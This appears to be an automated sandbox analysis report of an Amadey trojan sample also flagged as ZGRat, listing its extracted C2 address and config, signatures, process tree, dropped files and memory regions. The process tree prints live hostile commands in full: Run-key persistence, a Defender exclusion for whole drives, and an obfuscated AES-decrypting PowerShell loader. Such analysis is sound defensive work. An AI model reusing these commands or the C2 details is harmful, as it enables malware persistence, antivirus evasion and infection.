Analysis

  • max time kernel
    88s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/01/2024, 01:59

General

  • Target
    ama.exe
  • Size 4.9MB
  • Sample240125-ced55sdgf9
  • SHA256 cb80f3f8dbdf12c6929acd19d547b1c0278e7b71a4e2bcf232a7776cf1c287df
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • amadey

Version
  • 4.15

C2
  • http://185.172.128.63

Attributes
  • install_dir

    6187fcb526

  • install_file

    Dctooux.exe

  • strings_key

    cd3b2619c9009c441355ae581d53163e

  • url_paths

    /v8sjh3hs8/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ama.exe
    "C:\Users\Admin\AppData\Local\Temp\ama.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4032
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Annual_plan_and_company_development';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Annual_plan_and_company_development' -Value '"C:\Users\Admin\AppData\Local\Annual_plan_and_company_development\Annual_plan_and_company_development.exe"' -PropertyType 'String'
      2⤵
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:216
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      2⤵
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:2688
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:676
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:640
      • C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
        "C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Launches sc.exe
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:4340
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\SysWOW64\cmd.exe
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:4420
          • C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
            C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
            5⤵
            • Loads dropped DLL
            • Launches sc.exe
            PID:1252
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4304
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2944
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1296
    • C:\Users\Admin\AppData\Local\Temp\425v404v.eiv.exe
      "C:\Users\Admin\AppData\Local\Temp\425v404v.eiv.exe"
      2⤵
      • Executes dropped EXE
      PID:4392
  • C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd';$RfUL='SplstIeistIetstIe'.Replace('stIe', ''),'TrfmgKafmgKnfmgKsfmgKfofmgKrfmgKmFfmgKinafmgKlBfmgKlofmgKckfmgK'.Replace('fmgK', ''),'DecHsSjomHsSjpHsSjrHsSjessHsSj'.Replace('HsSj', ''),'EleBZnKmBZnKeBZnKntBZnKAtBZnK'.Replace('BZnK', ''),'ReGrwradGrwrLiGrwrnGrwreGrwrsGrwr'.Replace('Grwr', ''),'CIOLbopIOLbyIOLbTIOLboIOLb'.Replace('IOLb', ''),'FrpwLNompwLNBapwLNspwLNepwLN6pwLN4SpwLNtpwLNripwLNnpwLNgpwLN'.Replace('pwLN', ''),'LZaAAoZaAAaZaAAdZaAA'.Replace('ZaAA', ''),'IswsYnswsYvokswsYeswsY'.Replace('swsY', ''),'MayHpwinyHpwMoyHpwduyHpwleyHpw'.Replace('yHpw', ''),'EnfcpnnfcptrynfcpPnfcponfcpinnfcptnfcp'.Replace('nfcp', ''),'GKVjZetCKVjZurKVjZrKVjZenKVjZtPrKVjZocKVjZessKVjZ'.Replace('KVjZ', ''),'CmmRYhanmmRYgmmRYeExmmRYtenmmRYsmmRYimmRYonmmRY'.Replace('mmRY', ''),'CrewBkzatwBkzeDwBkzecwBkzrywBkzptwBkzowBkzrwBkz'.Replace('wBkz', '');powershell -w hidden;function HYZRs($YjbML){$FKFbd=[System.Security.Cryptography.Aes]::Create();$FKFbd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$FKFbd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$FKFbd.Key=[System.Convert]::($RfUL[6])('2M0fT7QfMAGeiJeE2Y8HU5skhkMH0OcAFA0SFzRHVws=');$FKFbd.IV=[System.Convert]::($RfUL[6])('Wv0CCTjoJ02lflet8TKTGg==');$qvWHS=$FKFbd.($RfUL[13])();$UQnTy=$qvWHS.($RfUL[1])($YjbML,0,$YjbML.Length);$qvWHS.Dispose();$FKFbd.Dispose();$UQnTy;}function tsjtk($YjbML){$KLabx=New-Object System.IO.MemoryStream(,$YjbML);$CeqVN=New-Object System.IO.MemoryStream;$OFOrH=New-Object System.IO.Compression.GZipStream($KLabx,[IO.Compression.CompressionMode]::($RfUL[2]));$OFOrH.($RfUL[5])($CeqVN);$OFOrH.Dispose();$KLabx.Dispose();$CeqVN.Dispose();$CeqVN.ToArray();}$xZSiw=[System.IO.File]::($RfUL[4])([Console]::Title);$VwJSg=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 5).Substring(2))));$NGyKN=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 6).Substring(2))));[System.Reflection.Assembly]::($RfUL[7])([byte[]]$NGyKN).($RfUL[10]).($RfUL[8])($null,$null);[System.Reflection.Assembly]::($RfUL[7])([byte[]]$VwJSg).($RfUL[10]).($RfUL[8])($null,$null); "
    1⤵
      PID:4720

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953
          • MD5 SHA1 SHA512

          StartupProfileData-Interactive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
          • Size 20KB
          • SHA256 94467436b14d4d7af47af569078353a8237c1ba10c5a297673edb6b5669f4ac9
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 19KB
          • SHA256 b706d01f443e400d869580e221b7b35596c4b6b324019fad61380bbd204a1d9b
          • MD5 SHA1 SHA512 SSDEEP

          DoNothing.cmd

          • Path C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd
          • Size 229KB
          • SHA256 9e9a0c51690263b2ff0f61f96a684725df65eb0ef8cf6fdcf400814f7634dfd1
          • MD5 SHA1 SHA512 SSDEEP

          sc.exe

          • Path C:\Users\Admin\AppData\Local\Temp\1001035001\sc.exe
          • Size 72KB
          • SHA256 1b94678c80fae40e03ffd744b74bf932bff2d3e031b280065381f730a1111733
          • MD5 SHA1 SHA512 SSDEEP

          sc.exe

          • Path C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
          • Size 78KB
          • SHA256 62c81a7e2a6b42d16c91ea7f21659181d31956b265c52c86cac4a18af930c6f4
          • MD5 SHA1 SHA512 SSDEEP

          sc.exe

          • Path C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
          • Size 353KB
          • SHA256 098d31368dbc923041a9ef7fb65efed76b8fc14d1b695cd3a9491c01cdf1498c
          • MD5 SHA1 SHA512 SSDEEP

          sc.exe

          • Path C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
          • Size 702KB
          • SHA256 197907655a3eb23083addc28348e9a12ef76ac1565635695a942f7bbc3709618
          • MD5 SHA1 SHA512 SSDEEP

          sc.exe

          • Path C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
          • Size 1.4MB
          • SHA256 c5e71ca1dcfe7975449a25d339036f3720b0b72aa52d8794b024442216487a4d
          • MD5 SHA1 SHA512 SSDEEP

          425v404v.eiv.exe

          • Path C:\Users\Admin\AppData\Local\Temp\425v404v.eiv.exe
          • Size 3KB
          • SHA256 1b5b29a86fbab96326253ed97583e699dd7476907418f018486c1abb4ec3aec2
          • MD5 SHA1 SHA512

          7e01c62c

          • Path C:\Users\Admin\AppData\Local\Temp\7e01c62c
          • Size 128KB
          • SHA256 000a4dd322dd8479c765fbc24fba2bd0e1a1952118dde9499e26d263316caab8
          • MD5 SHA1 SHA512 SSDEEP

          Protect544cd51a.dll

          • Path C:\Users\Admin\AppData\Local\Temp\Protect544cd51a.dll
          • Size 645KB
          • SHA256 390286329cc0db61b036832a29bc440fec9bbb2a3ba00f2c359243ab78a93427
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_3opai2fe.umw.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3opai2fe.umw.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/216-92-0x0000000007730000-0x000000000774A000-memory.dmp

          memory/216-36-0x0000000005CE0000-0x0000000005D46000-memory.dmp

          memory/216-113-0x0000000007A90000-0x0000000007AB2000-memory.dmp

          memory/216-126-0x0000000074A30000-0x00000000751E0000-memory.dmp

          memory/216-29-0x0000000004DB0000-0x0000000004DE6000-memory.dmp

          memory/216-31-0x0000000074A30000-0x00000000751E0000-memory.dmp

          memory/216-34-0x0000000005440000-0x0000000005A68000-memory.dmp

          memory/216-33-0x0000000004E00000-0x0000000004E10000-memory.dmp

          memory/216-32-0x0000000004E00000-0x0000000004E10000-memory.dmp

          memory/216-35-0x00000000053E0000-0x0000000005402000-memory.dmp

          memory/216-42-0x0000000005D50000-0x0000000005DB6000-memory.dmp

          memory/216-47-0x0000000006020000-0x0000000006374000-memory.dmp

          memory/216-103-0x0000000007A50000-0x0000000007A58000-memory.dmp

          memory/216-76-0x000000007F7B0000-0x000000007F7C0000-memory.dmp

          memory/216-102-0x0000000007A70000-0x0000000007A8A000-memory.dmp

          memory/216-48-0x0000000006400000-0x000000000641E000-memory.dmp

          memory/216-101-0x0000000007970000-0x0000000007984000-memory.dmp

          memory/216-100-0x0000000007960000-0x000000000796E000-memory.dmp

          memory/216-49-0x0000000006440000-0x000000000648C000-memory.dmp

          memory/216-98-0x0000000007930000-0x0000000007941000-memory.dmp

          memory/216-94-0x00000000079B0000-0x0000000007A46000-memory.dmp

          memory/216-77-0x00000000073C0000-0x00000000073F2000-memory.dmp

          memory/216-93-0x00000000077A0000-0x00000000077AA000-memory.dmp

          memory/216-78-0x0000000071AB0000-0x0000000071AFC000-memory.dmp

          memory/216-91-0x0000000007D70000-0x00000000083EA000-memory.dmp

          memory/216-88-0x0000000006A00000-0x0000000006A1E000-memory.dmp

          memory/216-90-0x0000000007400000-0x00000000074A3000-memory.dmp

          memory/216-89-0x0000000004E00000-0x0000000004E10000-memory.dmp

          memory/1252-225-0x00007FF6E0AD0000-0x00007FF6E0B2A000-memory.dmp

          memory/1252-227-0x00007FF6E0AD0000-0x00007FF6E0B2A000-memory.dmp

          memory/1296-171-0x0000000005030000-0x0000000005040000-memory.dmp

          memory/1296-183-0x000000007F3A0000-0x000000007F3B0000-memory.dmp

          memory/1296-170-0x0000000074A30000-0x00000000751E0000-memory.dmp

          memory/1296-172-0x0000000005030000-0x0000000005040000-memory.dmp

          memory/2688-21-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2688-114-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2688-59-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2688-23-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2688-151-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2688-62-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2688-24-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2688-123-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2688-25-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2688-160-0x0000000000400000-0x000000000046D000-memory.dmp

          memory/2944-129-0x0000000004E20000-0x0000000004E30000-memory.dmp

          memory/2944-150-0x0000000074A30000-0x00000000751E0000-memory.dmp

          memory/2944-128-0x0000000074A30000-0x00000000751E0000-memory.dmp

          memory/2944-130-0x0000000004E20000-0x0000000004E30000-memory.dmp

          memory/4032-17-0x00000000056B0000-0x00000000056C0000-memory.dmp

          memory/4032-16-0x00000000056B0000-0x00000000056C0000-memory.dmp

          memory/4032-30-0x0000000074A30000-0x00000000751E0000-memory.dmp

          memory/4032-14-0x0000000005510000-0x0000000005520000-memory.dmp

          memory/4032-22-0x0000000007280000-0x0000000007380000-memory.dmp

          memory/4032-0-0x0000000074A30000-0x00000000751E0000-memory.dmp

          memory/4032-1-0x0000000000820000-0x0000000000D10000-memory.dmp

          memory/4032-15-0x00000000056B0000-0x00000000056C0000-memory.dmp

          memory/4032-2-0x00000000055F0000-0x000000000568C000-memory.dmp

          memory/4032-18-0x00000000056B0000-0x00000000056C0000-memory.dmp

          memory/4032-12-0x00000000056B0000-0x00000000056C0000-memory.dmp

          memory/4032-3-0x0000000074A30000-0x00000000751E0000-memory.dmp

          memory/4032-4-0x00000000056B0000-0x00000000056C0000-memory.dmp

          memory/4032-26-0x0000000007A30000-0x0000000007FD4000-memory.dmp

          memory/4032-6-0x0000000006E00000-0x0000000006F92000-memory.dmp

          memory/4032-13-0x00000000056B0000-0x00000000056C0000-memory.dmp

          memory/4032-5-0x0000000005AC0000-0x0000000005CCE000-memory.dmp

          memory/4032-20-0x0000000007280000-0x0000000007380000-memory.dmp

          memory/4032-19-0x0000000007280000-0x0000000007380000-memory.dmp

          memory/4304-65-0x0000000002A80000-0x0000000002A90000-memory.dmp

          memory/4304-64-0x0000000074A30000-0x00000000751E0000-memory.dmp

          memory/4304-168-0x0000000007780000-0x00000000077AE000-memory.dmp

          memory/4304-104-0x0000000007610000-0x0000000007686000-memory.dmp

          memory/4304-165-0x0000000005140000-0x000000000514A000-memory.dmp

          memory/4304-99-0x00000000067F0000-0x0000000006834000-memory.dmp

          memory/4304-66-0x0000000002A80000-0x0000000002A90000-memory.dmp

          memory/4304-167-0x00000000774D1000-0x00000000775F1000-memory.dmp

          memory/4340-216-0x00007FF9545D0000-0x00007FF954742000-memory.dmp

          memory/4340-164-0x00007FF9545D0000-0x00007FF954742000-memory.dmp

          memory/4340-162-0x00007FF7A5B50000-0x00007FF7A5CAF000-memory.dmp

          memory/4340-169-0x00007FF9545D0000-0x00007FF954742000-memory.dmp

          memory/4420-219-0x00007FF963790000-0x00007FF963985000-memory.dmp

          memory/4420-220-0x0000000075070000-0x00000000751EB000-memory.dmp